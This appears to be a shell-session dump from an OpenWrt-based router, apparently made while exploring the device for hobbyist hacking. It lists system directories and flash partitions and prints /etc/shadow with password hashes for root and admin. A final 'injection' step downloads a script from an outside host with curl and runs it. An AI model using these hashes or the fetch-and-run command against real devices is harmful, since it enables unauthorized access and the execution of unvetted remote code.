ls /etc
7570_bob.conf
Makefile
TZ
WfaEndpoint
alarm
auth_cfg
banner
banner.failsafe
banner.mtk
board.d
bringup_xpon_intf.sh
capabilities
capacity
clean_up_xpon_intf.sh
config
crontabs
ddns
dev_mode
device_info
diag.sh
dnsmasq.conf
dnsmasq.d
dnsmasq.time
dpp_cfg.txt
dropbear
ebtables.rules
elisten.d
enetCap
ethers
ethertypes
factory-mesh
factory-netcreate
factory-netstate
factory-reset
firewall.user
firstboot.conffiles
fstab
fw_env.config
fw_product.config
group
hosts
hotplug-preinit.json
hotplug.d
hotplug.json
hsgmii_init.sh
hw_model
init.d
inittab
intf_refresh.sh
iproute2
iptables.rules
kernel.config
lan_wan_conflict.user
lighttpd
localtime
modules-boot.d
modules.d
mosquitto
mqlink
mqlink.d
mtab
netconf
network.restart.user
network.start.user
network.stop.user
openwrt.config
openwrt_release
openwrt_version
opkg
opkg.conf
os-release
passwd
passwd-
phlinux.conf
ppp
preinit
prodef.sh
profile
protocols
quagga
rc.button
rc.common
rc.d
rc.dev_mode
rc.local
rc0.d
resolv.conf
rg_config
sdk.version
services
shadow
shadow-
shadow_ap
shadow_eg
shells
shinya_mqlink
shinya_mqlink.d
ssl
sysctl.conf
sysctl.d
sysupgrade.conf
sysupgrade.d
timezone.json
ttask.user
uci-defaults
uu.tar.gz
wan_status_notify.sh
wapp_ap.conf
wapp_ap_ra0.conf
wapp_ap_ra0_default.conf
wapp_ap_ra1.conf
wapp_ap_rai0.conf
wapp_ap_rai0_default.conf
wapp_ap_rai1.conf
wapp_ap_rax0.conf
wapp_ap_rax0_default.conf
wapp_ap_rax1.conf
wapp_ap_wlan0.conf
wapp_ap_wlan0_default.conf
wapp_ap_wlan1.conf
wapp_main_inf.conf
wireless

cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00080000 00020000 "bootloader"
mtd1: 00080000 00020000 "u-boot-env"
mtd2: 00400000 00020000 "Factory"
mtd3: 00080000 00020000 "product_info"
mtd4: 00180000 00020000 "kdump"
mtd5: 00400000 00020000 "art"
mtd6: 06500000 00020000 "ubi"

cat /etc/shadow
root:$1$jVtwoSYW$KTO9wdEr.WZqpp6QAG0WF1:0:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
admin:$1$IK/NSqbL$0rMVWCiNmH5qBLVyRh10n1:19840:0:99999:7:::

cat /etc/passwd
root:x:0:0:root:/root:/bin/ash
mosquitto:x:0:0:mosquitto:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
admin:x:1000:1000::/home/admin:/bin/false

ls /
bin
controller
dev
etc
lib
mnt
model
overlay
proc
rom
root
sbin
sys
tmp
userfs
usr
var
www

ls /bin
ash
busybox
cat
chgrp
chmod
chown
cp
date
dd
df
dmesg
echo
egrep
false
fgrep
fsync
grep
gunzip
gzip
ipcalc.sh
kill
ln
lock
login
ls
mkdir
mknod
mktemp
mount
mpstat
mv
netmsg
netstat
nice
opkg
passwd
pidof
ping
ping6
ps
pwd
rm
rmdir
sed
sh
sleep
stat
stty
sync
tar
touch
traceroute
traceroute6
true
ubus
uclient-fetch
umount
uname
vi
wget
zcat

ls /sbin
apmgr
arp
arp_neigh_loop
askfirst
cls-create-sshkey
cls-create-sshtunnel
cls-create-sshtunnel-v4
cls-sshd
devmem
devstatus
ecnt_mtd
ecnt_sys
ecnt_wan
ecnt_wl_e2p_chk
firstboot
fixup-mac-address
force_apply
getipconfig.sh
getpid.sh
getpstats.sh
gpstats.sh
halt
hostname.sh
hotplug-call
hw
hwclock
ifconfig
ifdown
ifstatus
ifup
init
insmod
ip
ip-tiny
jffs2mark
jffs2reset
klogd
kmodloader
l1dat
led_core.elf
led_send_message
log_collector.sh
logd
logread
lsmod
luci-reload
macc_upgrade.sh
mkswap
modinfo
modprobe
modules_info
mount_root
mtd
mtk_dut
mtk_dut_hostapd_start.sh
mtk_dut_jedi_hostapd_start.sh
mtk_factory_rw.sh
netifd
pivot_root
poweroff
procd
reboot
reload_config
rg_task
rmmod
route
select_device_by_info.lua
sigma
sigma_dut.sh
smp.sh
srrc_cert
start-stop-daemon
stoping.sh
swconfig
switch_root
sysctl
syslogd
sysupgrade
tcpdump.sh
tcpdump_get.sh
tech-support.sh
testmode.sh
ubusd
uci
udevtrigger
udhcpc
updatepid.sh
upgraded
validate_data
vconfig
wfa_ca
wfa_dut
wfa_test_cli.sh
wfaping.sh
wfaping6.sh
wifi
wifi.legacy
wlanconfig
wpa_cli_action.sh

ls /var/bin
[
[[
acAddress
ac_config_sync
access_ctrl
access_ctrl.lua
access_ctrl_exec
access_ctrl_exec.lua
access_ctrl_status
adminCheck
alarm_map
alarm_mngt
alarm_mngt.lua
alarm_upload
alarm_upload.lua
ap_list
ap_list_lite
ated
awk
basename
bonding_lacp_apply_on_reboot.sh
bunzip2
bzcat
check_dropbear.sh
clear
cmp
conflict
conflict_status
crontab
ctcapd
ctcapd_collection_log_online_upload.sh
curl
cut
datconf
dbclient
ddns_set_cfg.sh
deleteDevice
devReboot
devReboot_set_inter
devReset
devReset_set_inter
dev_modules_info
develop_mode
deviceMove
device_count
device_statistics.lua
dhcpClient
dhcpDiscover
dhcpServer
dhcpServerClear
dhcp_option
dhcpmon
diff
dirname
dns_proxy
dropbearconvert
dropbearkey
du
dynamic_routing
dyndns
env
esw_devReset
esw_neighbor
esw_networkId_merge
esw_resetConfig
ethphxcmd
eweb_password
expr
factory_status
fastAutoChan
find
firewall_extern
flock
flow
flowctrl
flowctrl_app
flowctrl_macc
flowctrl_pppoe
flowctrl_qos
flowctrl_udp
free
fwtool
general_debug
get_list_by_page_size.lua
getrandom
group_cwmp_notify.sh
head
hexdump
hostapd_conf_generate.sh
hostid
hw_nat
id
ifname
ifnameTable.lua
ifname_get.lua
igmp_snooping
independSwitch
intf_down_up.lua
ip_conflict_check
iperf3_airoha
ipinfo6
iwinfo
jq
jshn
jsonfilter
killall
kvcedit
ldd
less
logger
loopback_detection
lua
mac_table
macc_stalog
maclist
manual_master
master
mbo_nr.sh
md5sum
mkfifo
modify_mosq_conf.sh
modify_mosq_conf_unencrypted.sh
mosquitto_pub
mosquitto_sub
mq
mqlink
mqlink_cb.sh
mqlink_monitor.sh
mqtrans
mqtt
mqtt_inform_notify
nat_dmz
nat_dmz.lua
nc
neighbor
neighborReachable
neighbor_status_event.sh
network6.lua
networkId
networkId_merge
network_dial
network_get_ipstart.lua
network_group
network_update
noipdns
noipdns_set_get.sh
nslookup
opendisc
option_clear
option_master
option_renew
parentGroupId
pgrep
phddns
phddns_set_get.sh
phtunnel
phtunnel_get_set
phtunnel_pwd_change.lua
pkill
port_mapping
port_mapping.lua
port_mapping_update
pppoe_learn
printf
radioLog
rdpi_feature_lib_upgrade.sh
readlink
regs
reset
resetConfig
resetConfig_inner
resolveip
rg_syslog
roam
role
scan_ap
scp
seq
sha256sum
shinya_mq
shinya_mqlink
shinya_mqlink_cb.sh
shinya_mqlink_monitor.sh
sifm
signify
sort
ssh
sta_list
sta_list_lite
sta_list_lite2
stad
stalog
strings
sync_config_file.sh
sys
systime
tail
tcci
tce
tee
test
tftp
thermalp_threshold_init.lua
time
timeReboot
timeReboot.lua
timeout
tmngt
tmngt.lua
tmngt_notify
tmngt_status
tmngtd_dbg
top
tr
tty
uniq
uptime
user_list
usign
util-linux-flock
uu_acc_online_upgrade.sh
waninfo
wapp
wapp_openwrt.sh
wappctrl
wc
which
wifi_config_save
wifi_diag
wificonf

ls /usr/sbin
00_00_crontab_task.sh
04_00_crontab_task.sh
10_min_crontab_task.sh
1_day_crontab_task.sh
1_hour_crontab_task.sh
1_min_crontab_task.sh
30_min_crontab_task.sh
3_min_crontab_task.sh
5_min_crontab_task.sh
ac_cfg_sync.sh
ac_config
alarm
alarm.elf
alarm_download.sh
apmgr_parallel_slave_change_ALL_AP_mode.sh
apmgr_parallel_slave_change_parallel_AP_mode.sh
apmgr_parallel_vlan_conf.sh
apply_wireless_config_f.lua
arp_static_exec.lua
arping
base64
blkid
bluetooth-config
bluetooth-power
bonding_lacp_apply.lua
bonding_lacp_monitor.lua
brctl
call_network_handle.lua
check_repeater_idx_ssid.lua
chroot
clear-factory-mode
compatible_config_monitor
config_save.lua
create_open_file.sh
crond
ctc_upgrade
ctcapd
ctcapd.elf
data_collect.lua
detect_uci.sh
dev_cap
dev_config
dev_identifier.elf
dev_mode_factory_reset.sh
dev_mode_service_restart.sh
dev_mode_sw_cap.lua
dev_sta
dhcp_static_compatible.lua
dhcpmon.elf
dns_proxy.sh
dnsmasq
dropbear
easydisc
easydisc.elf
ebtables
elisten
elisten.elf
elisten_config.lua
ephyLed.lua
esw_password
esw_sta_module
ethstt
factory
fastAutoChan.sh
fc_cmd.elf
fc_creat_tc.sh
fc_data_recode.lua
fc_policy_check.lua
fc_set.sh
fc_tc.sh
fcs_err_scan.sh
firewall_user.sh
flow_audit.elf
flow_collect.lua
flow_ctrl.elf
flow_old_cfg_to_new.lua
flow_start.sh
flowctrl_app_default_cfg.lua
flowctrl_tc_cfg.lua
fw_printenv
fw_setenv
fw_setmac
get_global_cfg.lua
get_proberesp_list
get_proberx_list
hostapd
hostapd_cli
hwnat-disable.sh
hwnat-enable.sh
icmp-checker.elf
igmp_proxy.sh
igmpproxy
igmpproxy_iptables.sh
ip6tables
ip6tables-restore
ip6tables-save
ip_mac_bind.sh
ipset
iptables
iptables-restore
iptables-save
ipv6_mtu_set.lua
iw
iwconfig
iwlist
iwpriv
jq_2_uci
kick_interface_sta.lua
lan_ports_down_up.sh
lighttpd
loopback_detection.elf
manager_ip.sh
miniupnpd
module_call
mosquitto
mqlink.elf
mqtt.elf
mutil_wan_parallel_support.sh
mwctl
nat_dmz.sh
netconnect
netconnect.lua
netconnect_status_change.sh
netifd_wan_up.lua
networkConnect.sh
network_mac_align.sh
network_monitor
noipdns.elf
ntpd
ntpd-hotplug
odhcp6c
opkg-key
parallel_support_lws.sh
peer_mac_2_panel_name.sh
phddns
phtunnel.elf
portstatus
pppd
pppoe-discovery
pppoe-server
pppoe_default_route.lua
proc_info
quagga.init
rcgame_ctrl
rcgamed
rdpi
reset-file-system
rg-setmac
rg-upgrade-crypto
rg_crypto
rg_device_support_lws.sh
rg_iconv.elf
rg_pnpd
rg_syslog.elf
ripd
ripngd
rlog.elf
rlog_config_update.lua
rlog_curl.sh
rlog_generate.sh
rlog_mv
roam.elf
roam_get_cap.lua
roam_get_cap.sh
roam_monitor.sh
ruijie_firewall_frame_init.sh
save-factory-log
set-factory-mode
set-passwd
setmac
setsn
shinya_mqlink.elf
sniffer.elf
stad.elf
stalog.elf
start_diag.lua
stop-auto-factory
sw_cap_opt_get.sh
swportflow.lua
sysinfo.elf
sysinfo_elisten.sh
tc
tcpdump
tmngtd.elf
tmngtd_compat.lua
tmngtd_trigger_sync.lua
ubiattach
ubiblock
ubicrc32
ubidetach
ubiformat
ubimkvol
ubinfo
ubinize
ubirename
ubirmvol
ubirsvol
ubiupdatevol
udhcpc_request.lua
udhcpc_restart.sh
uf_lua_call
uf_sys
uf_ubus_call.elf
unifyframe-sgi.elf
unopen_ssid_cfg_monitor.sh
upgrade_compat.sh
user_list.elf
user_list.lua
user_list_rlog.sh
user_mgr.elf
user_mgr_cmd.elf
user_mgr_nt_grp.lua
user_mgr_sync_addr.lua
user_mgr_sync_default_json.lua
user_mgr_sync_nt.lua
user_mgr_virtual_grp.lua
waninfo.lua
watchquagga
web
wifi.timer.lua
wifi_services.elf
wifi_status_monitor.lua
wifi_vlan_adapt.lua
wifi_vsie_reload_conf
wifiinfo.lua
wio_interface_flow.sh
wireless_adapter.lua
wireless_bonding_apply.lua
wireless_bridge.elf
wireless_bridge.lua
wireless_conf_compatible.lua
wireless_del.lua
wiresta.lua
wpa_cli
wpa_supplicant
wpad
wpad_monitor.lua
xtables-multi
zebra

# 注入
curl -L -O static.emtips.net/scripts/hello.sh
ash /hello.sh

版权所有

版权归属：Ashley Lee

许可证：署名-非商业性-禁止演绎 4.0 国际 (CC-BY-NC-ND-4.0)